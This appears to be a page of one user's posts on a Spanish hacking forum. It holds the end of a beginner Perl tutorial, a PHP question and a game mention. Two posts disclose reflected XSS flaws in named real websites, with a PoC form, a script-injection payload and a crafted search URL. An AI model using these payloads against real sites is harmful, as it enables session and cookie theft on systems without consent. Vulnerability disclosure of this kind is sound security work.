  7. exit(0);

Si te fijas utilizé tres formas diferentes de hacer lo mismo, además con el carácter "#" puse unas lineas para separar cada código y así se vea mas ordenado.

Ustedes dirán... ¿Para que sirve "my $cuenta = 1;"? :

Declaraciones
Código
  1. #!/usr/bin/perl -w
  2. #test5.pl
  3.  
  4. my $saludo = "Hola";
  5. my $nombre = "WHK";
  6.  
  7. print "$saludo $nombre , como estas?";
  8. exit(0);

Esto nos escribirá lo siguiente:
Citar
yan@Lola:~/Desktop$ perl ./test5.pl
Hola WHK , como estas?
yan@Lola:~/Desktop$

También podemos crear una declaración de diferentes formas:
Código
  1. #!/usr/bin/perl -w
  2. #test6.pl
  3.  
  4. my ($saludo, $nombre);
  5. $saludo = "Hola";
  6. $nombre = "WHK";
  7.  
  8. print "$saludo $nombre , como estas?\n";
  9. exit(0);

Variables
Código
  1. #!/usr/bin/perl -w
  2. #test7.pl
  3.  
  4. my ($saludo, $nombre);
  5. unless (@ARGV == 1) { die "uso: $0 Nombre\n" } ($nombre) = @ARGV;
  6. $saludo = "Hola";
  7.  
  8. print "$saludo $nombre , como estas?\n";
  9. exit(0);
  10.  
¿Que significa esto?
No se asusten :p es facil, es mas... puedes copiar el código y usar siempre el mismo, solo cambias ciertas cosas que te diré ahora,

Cuando ejecutas tu script te dirá lo siguiente:
Citar
yan@Lola:~/Desktop$ perl ./test7.pl
uso: ./test.pl Nombre
yan@Lola:~/Desktop$ perl ./test7.pl WHK
Hola WHK , como estas?
yan@Lola:~/Desktop$


Si te fijas la primera ves que lo ejecuté me decía como utilizarlo... que primero debería ejecutar el script mas un espacio y el nombre, al ejecutarlo nuevamente le di mi nombre y me lo escribió...
Citar
yan@Lola:~/Desktop$ perl ./test7.pl Octalh
Hola Octalh , como estas?
yan@Lola:~/Desktop$

Ahora implementemos variables con declaraciones for o while :D, no se asusten con tanta palabrería porque no es  tan dificil cuando escribes por ti mismo el código:
Código
  1. #!/usr/bin/perl -w
  2. #test8.pl
  3.  
  4. my ($cuenta);
  5. unless (@ARGV == 1) { die "uso: $0 Cuenta\n" } ($cuenta) = @ARGV;
  6.  
  7. for $i ( 1 .. $cuenta ) {
  8. print "Escribiendo $i...\n";
  9. }
  10.  
  11. exit(0);

Esto me dará lo siguiente:
Citar
yan@Lola:~/Desktop$ perl ./test8.pl 10
Escribiendo 1...
Escribiendo 2...
Escribiendo 3...
Escribiendo 4...
Escribiendo 5...
Escribiendo 6...
Escribiendo 7...
Escribiendo 8...
Escribiendo 9...
Escribiendo 10...
yan@Lola:~/Desktop$

Si quieres agregar mas de una variable tendrás que modificar su código:
Código
  1. #!/usr/bin/perl -w
  2. #test9.pl
  3.  
  4. my ($cuenta, $palabra);
  5. unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;
  6.  
  7. for $i ( 1 .. $cuenta ) {
  8. print "$palabra $i...\n";
  9. }
  10.  
  11. exit(0);

Esto quiere decir:
Código
  1. unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;
Si las variables no son 2 entonces que no ejecute nada y que diga su utilización y si hay dos variables entonces la primera será $palabra y la segunda será $cuenta. Puedes modificar ese orden a tu gusto o agregarles las variables que tu quieras. $0 significa el nombre del mismo archivo que estás ejecutando.

If y Else
Ahora les voy a mostrar algo muy útil:
Código
  1. #!/usr/bin/perl -w
  2. #test10.pl
  3.  
  4. my ($cuenta, $palabra);
  5. unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;
  6.  
  7. if ($cuenta == 0) {
  8.     $cuenta = 10;
  9. }
  10.  
  11. else {
  12.     for $i ( 1 .. $cuenta ) {
  13.     print "$palabra $i...\n";
  14.     }
  15. }
  16.  
  17. exit(0);

Esto significa que cuando ejecutes el script primeramente verificará la variable:
Código
  1. unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;

Luego verificará que si la variable $cuenta es igual a cero entonces le asignará el número 10
Código
  1. if ($cuenta == 0) {
  2.     $cuenta = 10;
  3. }

Si no es igual a cero entonces escribirá en pantalla lo pedido:
Código
  1. else {
  2.     for $i ( 1 .. $cuenta ) {
  3.     print "$palabra $i...\n";
  4.     }
  5. }

Y como siempre al final termina todo:
Código
  1. exit(0);

Ahora utilizaremos if para saber si existen archivos o no:
Código
  1. #!/usr/bin/perl -w
  2. #test11.pl
  3.  
  4. if (-e "test2.pl") {
  5. print "Si existe\n";
  6. } else {
  7. print "No existe\n";
  8. }
  9.  
  10. exit(0);

Lo mismo pero con variables:
Código
  1. #!/usr/bin/perl -w
  2. #test12.pl
  3.  
  4. my ($archivo);
  5. unless (@ARGV == 1) { die "uso: $0 [archivo]\n" } ($archivo) = @ARGV;
  6.  
  7. if (-e $archivo) {
  8. print "$archivo si existe\n";
  9. } else {
  10. print "$archivo no existe\n";
  11. }
  12.  
  13. exit(0);

Ahora que ya sabes un poco mas sobre scripts en Perl deverás practicar creando tus propios códigos cada ves más complejos o hasta donde esté tu conocimiento e imaginación.

En el próximo número publicaré un script que estoy creando, como averigüé sobre cada función y muchas otras cosas más como el uso de sockets y uso de comandos system();.

Saludos y hasta la próxima. Att. WHK.
Puedes bajar el documento en formato odt en tar.gz desde acá
397  Seguridad Informática / Nivel Web / XSS en PortalHacker.net en: 2 Noviembre 2007, 00:54 am
Hace tiempo encontré algunos XSS en elhacker.com y .org pero aún no los reparan a pesar del tiempo que llevan y de que fueron publicados y avisados. Ahora portalhacker.net también tiene un XSS localizado en el buscador de la pagina principal.

PoC:
Código
  1. <form name="buscarform" action="http://www.portalhacker.net/buscar.php" method="post">
  2. <input name="buscar" type="hidden" value="ok">
  3. <input name="query" type="text" size=12 value="Pon tu XSS acá">
  4. <input type="submit" value="Enviar"></form>
Donde puse "Pon tu XSS acá" prueba con enviar la siguiente petición post: "<script>alert(/xss/);</script>"

Después se quejan del porqué les roban las cookies.
398  Programación / PHP / Letras en imagenes en: 30 Octubre 2007, 05:21 am
No se si han hecho esta pregunta o no pero ya busqué en el foro y no vi nada al respecto.

Como puedo escribir letras en una variable en php para que me de de salida un jpg o png con un testo dentro?, por ejemplo: imagen.php?palabra=hola y que aparezca un jpg que diga hola.

Quiero hacer algo como esto  ;D :
399  Media / Juegos y Consolas / LevelHead en: 27 Octubre 2007, 23:54 pm
Muy exelente juego para linux donde intentas guiar una persona en miniatura hasta la salida recordando cada pasaje dentro de un cubo real virtualizado desde tu webcam.

Acá les dejo un video impresionante. Realmente es primera ves que veo algo de este tipo.

400  Seguridad Informática / Nivel Web / XSS en Zone-H en: 27 Octubre 2007, 16:53 pm
Encontré un XSS en zone-h  :P ...muy curioso no?

Código:
http://www.zone-h.org/index.php?searchword=`´';}"></script><script>alert(/xss/);</script>&option=com_search&Itemid=5

Lo puse en xssed haber si lo ven antes que lo reparen y despues les aviso.

Por lo que vi hay muchos otros descubierto por otras personas... ya no me dan ganas de usar joomla jajajja.
Páginas: 1 ... 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines